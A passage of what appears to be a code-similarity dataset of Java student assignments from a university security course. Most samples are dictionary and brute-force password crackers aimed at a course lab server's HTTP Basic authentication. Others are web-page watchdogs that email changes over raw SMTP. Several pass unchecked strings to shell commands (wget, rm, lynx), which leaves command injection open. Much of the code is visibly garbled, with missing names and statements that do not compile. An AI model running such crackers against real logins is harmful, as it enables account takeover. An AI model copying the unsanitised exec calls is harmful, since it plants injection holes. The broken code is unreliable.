\ }\n\n mailwriter.println();\n mailwriter.println(\"Changes\
\ Images\");\n mailwriter.println(\"-----------------\");\n\n\n \
\ \n\n for (tmp=1; tmp<md5A.length; tmp++) \n {\n \
\ stoken = new StringTokenizer(md5A[tmp]);\n mdImgVal = stoken.nextToken();\n\
\ mdImgName = stoken.nextToken();\n for (x=1; x<tmpmd5A.length;\
\ x++)\n {\n stoken = new StringTokenizer(tmpmd5A[x]);\n\
\ tmpImgVal = stoken.nextToken();\n tmpImgName = stoken.nextToken();\n\
\n if (mdImgName.compareTo(tmpImgName) == 0)\n {\n\
\ if(mdImgVal.compareTo(tmpImgVal) == 0)\n {\n\
\ \n break;\n }\n \
\ else\n {\n mailwriter.println(\"\
The image \"+mdImgName+\" has changed.\");\n changed=true;\n\
\ break;\n }\n }\n \
\ if (x == ((tmpmd5A.length)-1))\n {\n mailwriter.println(\"\
The image \"+mdImgName+\" is new this \");\n changed=true;\n\
\ }\n }\n }\n\n for (tmp=1; tmp<tmpmd5A.length;\
\ tmp++) \n {\n stoken = new StringTokenizer(tmpmd5A[tmp]);\n\
\ tmpImgVal = stoken.nextToken();\n tmpImgName = stoken.nextToken();\n\
\ for (x=1; x<md5A.length; x++)\n {\n stoken\
\ = new StringTokenizer(md5A[x]);\n mdImgVal = stoken.nextToken();\n\
\ mdImgName = stoken.nextToken();\n if (tmpImgName.compareTo(mdImgName)\
\ == 0)\n {\n break;\n }\n \
\ if (x == ((md5A.length)-1))\n {\n mailwriter.println(\"\
The image \"+tmpImgName+\" is longer the \");\n changed=true;\n\
\ }\n }\n }\n\n\n } catch(IOException ioe)\n\
\ {System.out.println(\"IOException\");\n ioe.printStackTrace();\n\
\ }\n catch(InterruptedException iex)\n {System.out.println(\"\
Interrupted Exception\");\n iex.printStackTrace();\n }\n\n }\n\
\n\n static Object getFullPath(String fname)\n {\n \n\n if(fname.charAt(0)==\
\ '/') \n fname=urlStr+fname; \n else if(fname.charAt(0) != 'h')\n\
\ fname=urlStr+'/'+fname;\n\n getImgFile(fname);\n\n return\
\ (Object)fname; \n }\n\n static void getImgFile(String fullPath)\n {\n\
\ \n\n try\n {\n qproc=Runtime.getRuntime().exec(\"/usr/local//wget\
\ \"+fullPath);\n qproc.waitFor();\n\n } catch (IOException ioe)\n\
\ {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n\
\ }\n catch (InterruptedException intex)\n {\n \
\ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\
\ }\n }\n\n static void rmImgFile(String delpath)\n {\n \n\n\
\ try\n {\n qproc=Runtime.getRuntime().exec(\"/usr//rm \"+ delpath);\n\
\ qproc.waitFor();\n\n } catch (IOException ioe)\n {\n \
\ System.out.println(\"IOException\");\n ioe.printStackTrace();\n\
\ }\n catch (InterruptedException intex)\n {\n \
\ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\
\ }\n \n }\n\n static Object getImgNames(String prsName)\n {\n\
\ \n \n String str = new StringTokenizer(prsName, \"/\", false);\n\
\n while(str.hasMoreTokens())\n {\n str=bgf.nextToken();\n \
\ if ((str.indexOf(\"gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n \
\ prsName=str;\n }\n return (Object)prsName;\n }\n}\n"
- source_sentence: "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\n\
import java.io.*;\npublic class Dictionary {\n static String userName;\n static\
\ URL url;\n static URLAuthenticator urlAuthenticator;\n static int noOfAttempts;\n\
\ \n public Dictionary() {\n }\n\n public static void main (String args[])\
\ {\n Properties props = System.getProperties();\n props.put(\"http.proxyHost\"\
, \"bluetongue.cs.rmit.edu.:8080\");\n \n System.out.println(props.get(\"\
http.proxyHost\"));\n BufferedReader inFile = null;\n \n try {\n\
\t if (args.length < 1) { \n\t\t System.out.println (\"\
Usage : java Dictionary /usr/share/lib/dict/words\");\n \
\ System.exit(1);\n\t\t }\t \n\t \t inFile = new BufferedReader (new FileReader(args[0]));\n\
\n\n\n\t \t breakPassword(inFile);\n\t\t}\n\t\t\n\t\tcatch (FileNotFoundException\
\ e) { \n\t\t System.err.println(e.getMessage());\n\t\t System.exit(1);\n\
\ }\n catch (IOException e) { \n\
\ System.err.println(e.getMessage());\n \
\ System.exit(1);\n }\n\t finally {\n \t try {\n\t\t inFile.close();\
\ \n\n\t }\n\t catch (IOException ex) {ex.printStackTrace();} \n\t\
}\n\n }\n private static void breakPassword (BufferedReader file) throws\n IOException\
\ {\n String password=\" \";\n userName=\"\";\n boolean found= false;\n\
\ MyHttpURLConnection httpURLConnection;\n String passBase64=\" \"\
;\n urlAuthenticator = new URLAuthenticator(userName);\n HttpURLConnection\
\ u=null;\n String input;\n\ttry {\n\t \n\t url = new URL\
\ (\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n \t \n \
\ } catch (MalformedURLException e){\n\t } catch (IOException io) {io.printStackTrace();}\n\
\t\n while (( input = file.readLine()) != null) {\n\t if (input.length()\
\ <=3) {\n password = input;\n\t\t password =\":\"+ password;\n\
\ \t \n try {\n u = (HttpURLConnection)url.openConnection();\n\
\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\
\ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\
\t\t\t \n\n\t\t\t\n u.connect();\n\t\t noOfAttempts++;\t\
\n\t\t if (u.getContentLength() != 0) { \n\t\t \n\t\t if (u.getResponseCode()\
\ == HttpURLConnection.HTTP_OK ) {\n\t\t \n\t found=true;\n\
\ \t\t System.out.println(\"Your User Name : Password Combination is\
\ :\"+password+ \n\t\t\t \" \"+ \" Found by Thread\");\n\t\t\t System.out.println(\"\
\ \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\
\t\t\t \n\t\t System.exit(0);\n\t\t }\t \n \
\ \n\t\t }\n\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n\
\t\t } catch (BindException e){e.printStackTrace();\n\t\t } catch (IndexOutOfBoundsException\
\ e3){e3.printStackTrace();\n\t\t } catch (IOException io) {io.printStackTrace();\n\
\t\t } finally {u.disconnect();\n\t\t }\n }\n }\n\t\n\t\n\
\t\n\t\n\t\n\t\n\t\n }\n}\nclass URLAuthenticator extends Authenticator {\n\
\ private String uName;\n String passwd;\n static private char[] password;\n\
\ public URLAuthenticator(String uName) {\n this.uName = uName;\n }\n\
\ public void setPassword(String passwd) {\n\n this.passwd=passwd;\n \
\ password=passwd.toCharArray();\n\n }\n\n public PasswordAuthentication\
\ getPasswordAuthentication() {\n\n\t PasswordAuthentication passwordAuthentication\
\ = new PasswordAuthentication(uName,password);\n \t return passwordAuthentication;\n\
\ }\n}\nclass MyHttpURLConnection extends HttpURLConnection {\n public MyHttpURLConnection(URL\
\ url) {\n super(url);\n }\n public void disconnect() {\n }\n \
\ public boolean usingProxy() {\n return true;\n }\n public void\
\ connect() {\n }\n}\n\n\n \n\n\n"
sentences:
- "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\
\n\npublic class Dictionary\n{\n\n\tprivate String result =\"\";\n\n\tpublic\
\ class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String\
\ passwd)\n {\n this.pass = passwd;\n }\n\n\t \
\ protected PasswordAuthentication getPasswordAuthentication()\n \
\ {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n\
\ }\n public String pass;\n }\n\n public Dictionary()\
\ {\n\n DataInputStream dis = null;\n String record = null;\n \
\ int recCount = 0, flag=0;\n\t String result=\"\";\n java.util.Date\
\ d = java.util.Calendar.getInstance().getTime();\n System.out.println(d.toString());\n\
\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n\n\t\tint\
\ count=1;\n\t\tString passwd=new String();\n HttpURLConnection connection\
\ = null;\n URL u = null;\n\n try\n {\n u = new URL(url);\n\
\ File f = new File(\"/usr/share/lib/dict/words\");\n FileInputStream\
\ fis = new FileInputStream(f);\n BufferedInputStream bis = new BufferedInputStream(fis);\n\
\ dis = new DataInputStream(bis);\n\n while ( (record=dis.readLine())\
\ != null )\n\t\t {\n\t\t System.out.println(count+ \"\
\ ) \" + record);\n count++;\n connection\
\ = (HttpURLConnection) u.openConnection();\n Authenticator.setDefault(new\
\ customAuthenticator(record));\n if (connection.getResponseCode()==200)\n\
\ { System.out.print(\"The password is : \"+record);\n\
\ System.out.println();\n \
\ java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n\
\ System.out.println(d1.toString());\n \
\ System.out.println(\"\\ntime taken in seconds:\"+ (d1.getTime()\
\ - d.getTime())/1000+\"\\n\");\n System.exit(0);\n\
\ }\n\n connection.disconnect();\n\
\ }\n }\n catch(Exception e)\
\ { System.err.println(e); }\n }\n\n\tpublic static void main(String[] args)\n\
\t{\n\n\t\tDictionary = new Dictionary();\n\n\n\t}\n}"
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\
\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\
\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\
\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \
\ try {\n\n String login = new String(\"\");\n String url = new String(\"\
http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\
\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\
\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\
\ String line;\n while ((line = in.readLine()) != null) {\n \
\ System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\
\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\
Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\
\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \
\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \
\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\
\ String();\n String c2 = new String();\n String c3 = new String();\n \
\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \
\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\
\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\
\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\
\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\
\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\
\ openURLForInput (URL url, String uname, String pword)\n throws IOException \
\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\
\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \
\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\
\ username, String password) {\n return \" \" + base64Encode (username + \"\
:\" + password);\n }\n\n private final static char base64Array [] = {\n \
\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\
\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\
\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\
\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\
\n private static String base64Encode (String string) {\n String encodedString\
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\
\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \
\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\
\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \
\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\
\ = 0;\n pad = 1;\n }\n else\n b3\
\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\
\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\
\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n"
- "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\n\
import java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n\
\ public static BufferedReader in;\n \n\n public static int LIMITINMINUTES=60*24;\n\
\ public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n public static void main(String[]\
\ args) throws Exception { \n \n String watchedPage = \"http://www.cs.rmit.edu./students/\"\
;\n String currentPage = \"\"; \n \n \n System.out.println(\" stop\
\ the program, press \\\"Alt + C\\\"\");\n \n boolean loggedout=false;\n\
\ while (!loggedout){\n \n currentPage=\"\";\n \n \n \
\ Date date = new Date();\n startTime=date.getTime();\n \n \
\ \n URL cs = new URL(watchedPage); \n HttpURLConnection connection;\n\
\ URLConnection csc = cs.openConnection(); \n try {\n\tBufferedReader\
\ in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString\
\ inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t currentPage\
\ = currentPage+inputLine;\n\t}\n\t\n }\n catch (IOException s) { \
\ \n }\n finally {\n\twhile(in!=null)\n in.next();\n \
\ }\n \n String lastPage=readData();\n if (lastPage.trim().equals(currentPage.trim()))\
\ {\n\tSystem.out.println(\"Pages match, nothing email.\");\n }\n else\
\ {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage\
\ = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\t\
if (checkCurrentPage.length()<checkLastPage.length()) {\n iterations\
\ = checkCurrentPage.length();\n\t lastLongestString = true;\n\t}\n\telse {\n\
\ iterations = checkLastPage.length();\n\t lastLongestString = false;\n\
\t \n\t}\n\tString additions = \"Here the additions the : \\n\";\n\tboolean\
\ add=false;\n\tString subtractions = \"Here the parts removed from the : \\\
n\";\n\tboolean sub=false;\n\tfor (int count=0; count<iterations; count++) {\n\
\ \n\t if (checkLastPage.length()>count && checkCurrentPage.length()>count){\n\
\t \n if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count)))\
\ {\n\t \n\t \n\t if (count<20){\n\t\tadditions = \"Sorry changes\
\ together distinguish additions and subtractions . Here is where : \"+ checkCurrentPage.substring(count,\
\ checkCurrentPage.length());\n\t\tcount = iterations;\n\t }\n\t else\
\ {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\
\t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\t\
iterations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\
\";\n\t\tif (checkLastPage.length()<20){\n\t\t regexAdd=checkLastPage.substring(count,\
\ checkLastPage.length());\n\t\t}\n\t\telse {\t \n\t\t regexAdd=checkLastPage.substring(0,19);\n\
\t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\
\t\t\n\t\tif (changeslength>1){\n\t\t \n\t\t add=true;\n\t\t additions = additions\
\ + changes[0];\t \n\t\t \n\t\t \n\t\t if (changeslength>1){\n\t\t checkCurrentPage=regexAdd+changes[1];\n\
\t\t }\n\t\t else {\n\t\t if (lastLongestString==true) \n\t \
\ count=iterations;\n\t\t } \n\t\t}\n\t\telse { \n\t \t\t \n\t\t \n\t\t \
\ \n\t\t String regexSub=\"\";\n\t\t if (checkCurrentPage.length()<20){\n\t\t\
\ regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\
\t }\n\t\t else {\t \n\t\t regexSub=checkCurrentPage.substring(0,19);\n\t\
\t }\n\t\t String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t int\
\ changeslengthSub=changesSub.length;\n\t\t \n\t\t if (changeslengthSub>1){\n\
\t\t \n\t\t sub=true;\n\t\t subtractions = subtractions + changesSub[0];\t\
\ \n\t\t \n\t\t \n\t\t if (changeslengthSub>1){\n\t\t checkLastPage=regexSub+changesSub[1];\n\
\t\t }\n\t\t else {\n\t\t if (lastLongestString==false) \n\t\t \
\ count=iterations;\n\t\t }\n\t\t \n\t\t \n\t\t }\n\t\t}\n\t }\n\
\n } \n\t } \n\t} \n\t\n\t\n\tString emailBody=\"Changes have been\
\ . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n }\n\n\
\ \n writeData(currentPage);\n \n \n wait24(startTime);\n\
\ } \n } \n \n \n private static void wait24( int startTime) {\n boolean\
\ waiting=true;\n while(waiting){\n Date endDate = new Date();\n \
\ endTime=endDate.getTime();\n \n \n if (endTime>(TIMELIMIT+startTime)){\n\
\ \n waiting=false;\n }\t\n }\n } \n \n \n public\
\ static String readData() {\n String data;\n String lastPage=\"\";\n \
\ try {\n BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"\
));\n while ((data = in.readLine())!=null) {\n lastPage= lastPage\
\ + data +\"\\n\";\n }\n \n }\n catch (FileNotFoundException e1)\
\ {\n System.exit(0);\n }\n catch (IOException e2) {\n System.out.println(\"\
IO Exception, exiting\");\n System.exit(0);\n }\t \n finally {\n\
\ try {\n\tif (null!=in) {\n in.next();\n\t}\n }\n catch (IOException\
\ e3) {}\n }\n return lastPage;\n }\n \n \n public static void writeData(String\
\ currentPage) {\n PrintWriter out;\n try {\n\tout = new PrintWriter (new\
\ BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\
\t\n\t\n }\n catch (IllegalArgumentException e1) {\n\tSystem.out.println\
\ (\"Sorry, 't write file. None of changes in this session have been saved\"\
);\n\tSystem.exit(0);\n }\n catch (IOException e2) {\n\tSystem.out.println\
\ (\"Sorry, 't write file. None of changes in this session have been saved\"\
);\n\tSystem.exit(0);\n\t}\n finally {} \n } \n\n \n \n \n public static\
\ void sendEmail(String emailBody){\n \n Socket smtpSocket =null;\n DataOutputStream\
\ os = null;\n InputStreamReader is = null ;\n\n Date dDate = new Date();\n\
\ DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\
\n try{ \n smtpSocket = new Socket(\".rmit.edu.\", 25);\n os = new\
\ DataOutputStream(smtpSocket.getOutputStream());\n is = new InputStreamReader(smtpSocket.getInputStream());\n\
\ BufferedReader = new BufferedReader(is);\n\n if(smtpSocket != null\
\ && os != null && is != null){ \n \n\ttry { \n\t os.writeBytes(\"HELO\
\ .rmit.edu.\\r\\n\");\n\t \n\t \n\t os.writeBytes(\"MAIL From: <@.rmit.edu.>\\\
r\\n\");\n\n\t \n\t os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t \
\ \n\t \n\t os.writeBytes(\"DATA\\r\\n\");\n\n\t os.writeBytes(\"X-Mailer:\
\ Via Java\\r\\n\");\n\t os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\
\\r\\n\");\n\t os.writeBytes(\"From: <@cs.rmit.edu.>\\r\\n\");\n\t os.writeBytes(\"\
: <@cs.rmit.edu.>\\r\\n\");\n\n\t os.writeBytes(\"Subject: updated\\r\\n\"\
);\n\t os.writeBytes(emailBody + \"\\r\\n\");\n\t os.writeBytes(\"\\r\\n.\\\
r\\n\");\n\t os.writeBytes(\"QUIT\\r\\n\");\n\n\t \n\t \n\t String responseline;\n\
\t while((responseline=is.readLine())!=null){ \n \n if(responseline.indexOf(\"\
Ok\") != -1) {\n break;\n }\n\t }\n\t}\n\tcatch(Exception\
\ e){ \n\t System.out.println(\"Cannot send email as error occurred.\"); \n\
\t}\n }\n else \n\tSystem.out.println(\"smtpSocket another variable\
\ is null!\");\n } \n catch(Exception e){ \n System.out.println(\"\
Host unknown\"); \n }\n } \n \n} \n\n\n"
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\
import java.text.*;\n\npublic class WatchDog extends Thread {\n\n private\
\ HttpURLConnection httpUrlCon;\n private URL stdurl; \n private\
\ String spec = \"http://www.cs.rmit.edu./students/\"; \n private String\
\ command=\"\"; \n\n private String firstModified =\"\";\
\ \n private String secModified = \"\"; \n private String\
\ fileModified = \"\"; \n\n private BufferedReader instd; \n\
\ private Vector firstVector; \n private Vector secondVector;\
\ \n private Vector tmpVector; \n\n private int\
\ intervalTime = 24*60*60*1000; \n private boolean bstop = false; \
\ \n private int count = 0; \n private\
\ int totalDuration = 30*24*60*60*1000; \n\n private String yourSMTPserver\
\ = \"mail.rmit.edu.\"; \n private int smtpPort = 25; \
\ \n private String mailFrom = \"@yallara.cs.rmit.edu.\"\
; \n private String mailTo = \"@.rmit.edu.\"; \n private String\
\ subject = \"\"; \n private String message\
\ =\"\"; \n\n private Socket socketsmtp;\
\ \n private BufferedReader emailin;\n private PrintStream emailout;\
\ \n private String reply = \"\"; \n \n public WatchDog(){\n\
\ firstVector = new Vector();\n secondVector = new Vector();\n\
\ tmpVector = new Vector();\n }\n \n public void\
\ FirstRead(){\n readContent(firstVector);\n firstModified\
\ = fileModified;\n }\n \n public void run(){\n \
\ while(!bstop){\n readPageAgain();\n }\n \
\ }\n \n public void readPageAgain(){\n try{\n \
\ Thread.sleep(intervalTime);\n\n }catch(InterruptedException\
\ e){e.printStackTrace();}\n count += intervalTime;\n \
\ readContent(secondVector);\n secModified = fileModified;\n\n\
\ if(firstModified.equals(secModified)){\n if(count\
\ == totalDuration)\n bstop =true;\n message\
\ = \"After \" + (double)intervalTime/(60*60*1000) + \" hours is change!\";\n\
\ subject = \" is change the web \";\n \
\ try{\n doSendMail(mailFrom, mailTo, subject, message);\n\
\ }catch (SMTPException e){}\n }\n \
\ else if(!(firstModified.equals(secModified))){\n if(count\
\ == totalDuration)\n bstop = true;\n \
\ message = getChangeMessage();\n subject = \" some changes\
\ the web \";\n try{\n doSendMail(mailFrom,\
\ mailTo, subject, message);\n }catch(SMTPException e){}\n\n\
\ firstModified = secModified;\n firstVector.clear();\n\
\ for(int i=0; i<secondVector.size(); i++){\n \
\ firstVector.add((String)secondVector.get(i));\n \
\ }\n }\n }\n \n public void readContent(Vector\
\ avect){\n\n String fmod =\"\";\n if(spec.indexOf(\"\
http://www.cs.rmit.edu./\")!=-1){\n fmod = \"File last modified\
\ :\";\n command = \"lynx -nolist -dump \" + spec;\n \
\ }\n else {\n fmod = \"Last-Modified:\";\n\
\ command =\"lynx -mime_header -dump \" +spec;\n \
\ }\n try{\n Runtime runtime = Runtime.getRuntime();\n\
\ Process p = runtime.exec(command);\n instd\
\ = new BufferedReader(new InputStreamReader(p.getInputStream()));\n \
\ String str=null;\n avect.clear();\n \
\ while((str = instd.readLine())!= null){\n avect.add(str);\n\
\ if(str.indexOf(fmod) !=-1){\n \
\ fileModified = str;\n }\n }\n\
\ instd.print();\n }catch(MalformedURLException\
\ e){System.out.println(e.getMessage());}\n catch(IOException e1){System.out.println(e1.getMessage());}\n\
\ }\n\n \n public String getChangeMessage(){\n \
\ String mssg = \"\";\n for(int i =0; i<secondVector.size();i++){\n\
\ tmpVector.add((String)secondVector.get(i));\n \
\ }\n \n for(int i=0; i<firstVector.size(); i++){\n\
\ String line = (String)(firstVector.get(i));\n \
\ int same = 0;\n for(int j=0; j<tmpVector.size(); j++){\n\
\ String newline = (String)(tmpVector.get(j));\n \
\ if(line.equals(newline)){\n if(same ==\
\ 0){\n tmpVector.remove(j);\n \
\ same++;\n }\n }\n\
\ }\n }\n \n for(int i\
\ = 0; i<secondVector.size(); i++){\n String line = (String)(secondVector.get(i));\n\
\ int same =0;\n for(int j=0; j<firstVector.size();\
\ j++){\n String newline = (String)(firstVector.get(j));\n\
\ if(line.equals(newline)){\n if(same\
\ == 0){\n firstVector.remove(j);\n \
\ same++;\n }\n }\n \
\ }\n }\n if(firstVector.size()!=0){\n\
\ mssg += \"The following lines removed in the latest modified\
\ web : \\r\\n\";\n for(int i=0; i<firstVector.size(); i++){\n\
\ mssg +=(String)firstVector.get(i) + \"\\r\\n\";\n \
\ }\n }\n if(tmpVector.size()!=0){\n \
\ mssg += \"The following lines new ones in the latest modified\
\ web : \\r\\n\";\n for(int i=0; i<tmpVector.size(); i++){\n\
\ mssg += (String)tmpVector.get(i) + \"\\r\\n\";\n \
\ }\n }\n\n return mssg;\n }\n\n \
\ \n public void setMonitorURL(String url){\n spec = url;\n\
\ }\n \n public void setMonitorDuration(int t){\n \
\ totalDuration = t*60*60*1000;\n }\n \n public void setMonitorInterval(int\
\ intervalMinutes){\n intervalTime = intervalMinutes*60*1000;\n \
\ }\n \n public void setSMTPServer(String server){\n \
\ yourSMTPserver = server;\n }\n \n public void setSMTPPort(int\
\ port){\n smtpPort = port;\n }\n \n public void\
\ setMailFrom(String mfrom){\n mailFrom = mfrom;\n }\n \
\ \n public void setMailTo(String mto){\n mailTo = mto;\n\
\ }\n \n public String getMonitorURL(){\n return\
\ spec;\n }\n \n public getDuration(){\n return\
\ totalDuration;\n }\n \n public getInterval(){\n \
\ return intervalTime;\n }\n \n public String getSMTPServer(){\n\
\ return yourSMTPserver;\n }\n \n public int getPortnumber(){\n\
\ return smtpPort;\n }\n \n public String getMailFrom(){\n\
\ return mailFrom;\n }\n \n public String getMailTo(){\n\
\ return mailTo;\n }\n \n public String getServerReply()\
\ {\n return reply;\n }\n \n public void doSendMail(String\
\ mfrom, String mto, String subject, String msg) throws SMTPException{\n \
\ connect();\n doHail(mfrom, mto);\n doSendMessage(mfrom,\
\ mto, subject, msg);\n doQuit();\n }\n \n public\
\ void connect() throws SMTPException {\n try {\n \
\ socketsmtp = new Socket(yourSMTPserver, smtpPort);\n emailin\
\ = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));\n\
\ emailout = new PrintStream(socketsmtp.getOutputStream());\n\
\ reply = emailin.readLine();\n if (reply.charAt(0)\
\ == '2' || reply.charAt(0) == '3') {}\n else {\n \
\ throw new SMTPException(\"Error connecting SMTP server \" + yourSMTPserver\
\ + \" port \" + smtpPort);\n }\n }catch(Exception\
\ e) { throw new SMTPException(e.getMessage());}\n }\n \n public\
\ void doHail(String mfrom, String mto) throws SMTPException {\n \
\ if (doCommand(\"HELO \" + yourSMTPserver))\n throw new SMTPException(\"\
HELO command Error.\");\n if (doCommand(\"MAIL FROM: \" + mfrom))\n\
\ throw new SMTPException(\"MAIL command Error.\");\n \
\ if (doCommand(\"RCPT : \" + mto))\n throw new SMTPException(\"\
RCPT command Error.\");\n }\n \n public void doSendMessage(String\
\ mfrom,String mto,String subject,String msg) throws SMTPException {\n\n \
\ Date date = new Date();\n\t Locale locale = new Locale(\"\"\
,\"\");\n\t String pattern = \"hh:mm: a',' dd-MMM-yyyy\";\n\t \
\ SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);\n\t \
\ formatter.setTimeZone(TimeZone.getTimeZone(\"Australia/Melbourne\"));\n\
\ String sendDate = formatter.format(date);\n\n if (doCommand(\"\
DATA\"))\n throw new SMTPException(\"DATA command Error.\");\n\
\ String header = \"From: \" + mfrom + \"\\r\\n\";\n \
\ header += \": \" + mto + \"\\r\\n\";\n header += \"Subject: \"\
\ + subject + \"\\r\\n\";\n header += \"Date: \" + sendDate+ \"\\\
r\\n\\r\\n\";\n if (doCommand(header + msg + \"\\r\\n.\"))\n \
\ throw new SMTPException(\"Mail Transmission Error.\");\n }\n\
\ \n public boolean doCommand(String commd) throws SMTPException {\n\
\ try {\n emailout.print(commd + \"\\r\\n\");\n\
\ reply = emailin.readLine();\n if (reply.charAt(0)\
\ == '4' || reply.charAt(0) == '5')\n return true;\n \
\ else\n return false;\n \
\ }catch(Exception e) {throw new SMTPException(e.getMessage());}\n }\n\
\ \n public void doQuit() throws SMTPException {\n try\
\ {\n if (doCommand(\"Quit\"))\n throw\
\ new SMTPException(\"QUIT Command Error\");\n emailin.put();\n\
\ emailout.flush();\n emailout.send();\n \
\ socketsmtp.put();\n }catch(Exception e) { }\n\
\ }\n}"
sentences:
- "import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\
\nclass Dictionary{\n\n public static void main(String [] args){\n \
\ try\n {\n Date d = new Date();\n \
\ String line1=\"\";\n String ps=\"\";\n \
\ String file1 = \"words.txt\";\n String file2 = \"index.html\"\
;\n String endline=\"Authorization failed.\";\n \
\ String [] cmd = new String[4];\n cmd[0] = \"wget\";\n \
\ cmd[1] = \"--http-user=\";\n cmd[3] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n\n FileReader fr1 = new FileReader(file1);\n \
\ BufferedReader in1 = new BufferedReader(fr1);\n while((line1\
\ = in1.readLine())!=null)\n {\n try{\n \
\ cmd[2] = connect(line1);\n Runtime.getRuntime().exec(cmd);\n\
\ if(line1.length()==3)\n ps = line1;\n\
\ System.out.println(cmd[2]);\n File f =\
\ new File(file2);\n if(f.exists())\n {\n\
\ System.out.println(\"password: \" + ps);\n \
\ break;\n }\n }\n \
\ catch(IOException ex)\n {\n System.out.println(\"\
